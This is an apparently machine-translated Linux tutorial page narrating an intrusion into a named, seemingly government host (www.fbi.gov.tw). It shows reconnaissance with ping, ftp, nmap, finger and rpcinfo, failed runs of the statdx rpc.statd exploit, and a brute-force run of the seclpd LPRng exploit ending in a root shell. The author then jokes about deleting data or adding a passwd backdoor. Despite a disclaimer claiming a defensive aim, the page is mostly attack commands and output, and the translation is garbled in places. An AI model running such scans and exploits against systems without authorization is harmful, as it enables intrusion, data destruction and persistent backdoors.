Home IT Linux Windows Database Network Programming Server Mobile  
           
  Home \ Linux \ Examples of safety testing system notes for RedHat Linux     - Linux Getting Started tutorial: hard disk partition and to deal with traps (Linux)

- How to Install Redis server on CentOS 7 (Server)

- CentOS 7.0 Experience with previous versions (Linux)

- Linux system on a virtual machine to access the Internet (Linux)

- Intrusion analysis and prevention tools Knark under Linux platform (Linux)

- Java thread pool: ExecutorService, Executors (Programming)

- CentOS 5.x install Lua 5.2.3 error (LIBS = -lncurses) (Linux)

- CentOS 7.0 Automatic installation CD-ROM production Comments (Linux)

- CentOS 7 update source - the use of domestic sources 163 yum (Linux)

- Understand the security restore accidentally deleted critical system files (Linux)

- Simple configuration shell scripts virtual machine environment experiment (Linux)

- Shell Common Command Summary (Programming)

- CoreOS Linux introduces Kubernetes kubelet (Server)

- Linux 4.0+ kernel support for hardware switching module (HW Switch Offload) (Linux)

- Android Activity launchMode (Programming)

- How to allow users to access only a specific database (MSSQL) (Database)

- Linux ln command - create a file / directory link (Linux)

- vnStatSVG: traffic monitoring software vnStat (Linux)

- How to test your MongoDB application upgrade? (Database)

- How to make Linux a non-root user uses less than 1024 ports (Linux)

 
         
  Examples of safety testing system notes for RedHat Linux
     
  Add Date : 2018-11-21      
         
       
         
  I wrote this article is not intended to teach people to invade, but to raise security awareness and strengthen its own technology for network administrators. ! This is the only careless network administrator should understand: Since you operate a small mistake can lead to a comprehensive network throughout the fall! This article is about the UNIX following a small service process (LPD: Network Print Service) attacks carried out.

Let see if I scored on:

C: \ ping www.fbi.gov.tw
Pinging www.fbi.gov.tw [202.106.184.200] with 32 bytes of data:

Reply from 202.106.184.200: bytes = 32 time = 541ms TTL = 244
Reply from 202.106.184.200: bytes = 32 time = 620ms TTL = 244
Reply from 202.106.184.200: bytes = 32 time = 651ms TTL = 244
Reply from 202.106.184.200: bytes = 32 time = 511ms TTL = 244

Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms

Hee hee - not only scored, the speed is also good ......

First look at the telnet banner:

C: \> telnet www.fbi.gov.tw

Lost connection to the host.

Haha ...... it seems to telnet services to shut out! Try again ftp
C: \> ftp www.fbi.gov.tw
Connected to www.fbi.gov.tw.
220 fbi-www FTP server (Version wu-2.6.1 (1) Wed Aug 9 05:54:50 EDT 2000) ready.

User (www.fbi.gov.tw:(none)):

Oh ~~ wu-2.6.1 seems little prospect of a solution. This machine like the famous ............ on! RedHat7.0! Yes that is her! Must first confirm this, I even on the springboard:

C: \> telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04 $

bash-2.04 $ nmap -sT -O www.fbi.gov.tw
Starting nmap V. 2.54BETA7 (www.insecure.org/nmap/)
WARNING The following files exist and are readable:! / Usr / local / sha
-services and ./nmap-services. I am choosing / usr / local / share / nmap /
s for security reasons. set NMAPDIR =. to give priority to files in
irectory
Interesting ports on (www.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25 / tcp open smtp
79 / tcp open finger
80 / tcp open http
111 / tcp open sunrpc
113 / tcp open auth
443 / tcp open https
513 / tcp open login
514 / tcp open shell
515 / tcp open printer
587 / tcp open submission
1024 / tcp open kdm

TCP Sequence Prediction: Class = random positive increments
Difficulty = 3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16

Nmap run completed - 1 IP address (1 host up) scanned in 9 seconds

precisely! ! Open ports pretty much it! Not bad ...... 79 / tcp finger? Ha ha ~ look at this, but no finger linux user list this loophole, I look at whether it has not Cooler.

bash-2.04 $ finger @ www.fbi.gov.tw
[Www.fbi.gov.tw]
No one logged on.

shit! How no one will! Open the door! Open to me! : (...... Look at 111 / tcp sunrpc hey ...... recently rpc vulnerability popularity RH7 do not know this stuff will not have let it go, take a look at to say.?!

bash-2.04 $ rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status


It seems rpc.statd service. So we have to see if you can get a remote overflow rootshell. Haha! The rpc.statd overflow remote I found at hack.co.za. And so we take a look at the help. Hee hee ~

bash-2.04 $. / statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o Offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 RedHat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)

It does not seem to support RH7. How to do? ? Let me try to say all the 0-2! start ......

bash-2.04 $ stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+ str / + nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

Haha setbacks, try ......

bash-2.04 $ stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+ str / + nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

same! carry on ......

bash-2.04 $ stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 (+ str / + nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

I baked! ! Grilled baked! rpc.statd not work ah! Let me think ...... RH7 should have a remote overflow ...... it seems to be caused by lp service. So I go for a search. Ha ha ~ ~ found ...... "seclpd.c" should be this stuff.
It seems a brute must come up! Continue ...... ...... Continue

bash-2.04 $. / seclpd www.fbi.gov.tw brute -t 0
+++ Security.is remote exploit for LPRng / lpd by DiGiT

+++ Exploit information
+++ Victim: www.fbi.gov.tw
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking www.fbi.gov.tw with our format string
+++ Brute force man, relax and enjoy the ride;>

Haha ~~ brute brute force. You could not see the shell! Now we have to wait a while ...... to brew a cup of coffee slowly. (What! No coffee? Tea! This is also OK!) ............ After about a cup of coffee time. That is, for about 5-8 minutes, there will be the result. (What! What! 5-8 minutes you drink five cups! I do ~~~) ...... out. Haha ~

- [+] Shell located on www.fbi.gov.tw
- [+] Enter Commands at will

Linux FBI.WWW 2.2.16-22smp # 1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid = 0 (root) gid = 7 (lp)

Well ...... ha ha ~ uid = 0 (root) wow ha ha ha ha ............ you are in the first root it! ~ ~ Can do whatever it deleted all the things ~ ~ ~ ~ ha ha ...... gone too far, or to add a back door in the passwd forget ~~ As for how Canada, which is not within the scope of this article ......
     
         
       
         
  More:      
 
- Linux system commands to view hardware information (Linux)
- Bubble Sort Algorithms (Programming)
- About redis in Replication (Database)
- Linux operating system security management skills (Linux)
- DupeGuru- find and remove duplicate files (Linux)
- IDS Intrusion Detection System built (Linux) (Linux)
- Python uses multi-process pool (Programming)
- Compression software on a simple comparison of zip and gz (Linux)
- Linux partition command (Linux)
- ISO image to use offline upgrade Ubuntu (Linux)
- How to limit network bandwidth usage in Linux (Linux)
- Openfire Hazelcast cluster Detailed (Server)
- Python Basics: Search Path (Programming)
- RHEL 6.5 x86_64 CentOS yum configuration source (Linux)
- CentOS 6.5 installation VNCServer implement graphical access (Server)
- Setting Wetty do not need an account login command line operations (Linux)
- Rails project prepared some tips small experience (Linux)
- RHEL7 unattended automatic installation DHCP + TFTP + SYSLINUX + TFTP + Kickstart (Linux)
- Ubuntu use three methods to install Ruby (Linux)
- How do you temporarily emptied Bash environment variable before running the command on Linux (Linux)
     
           
     
  CopyRight 2002-2016 newfreesoft.com, All Rights Reserved.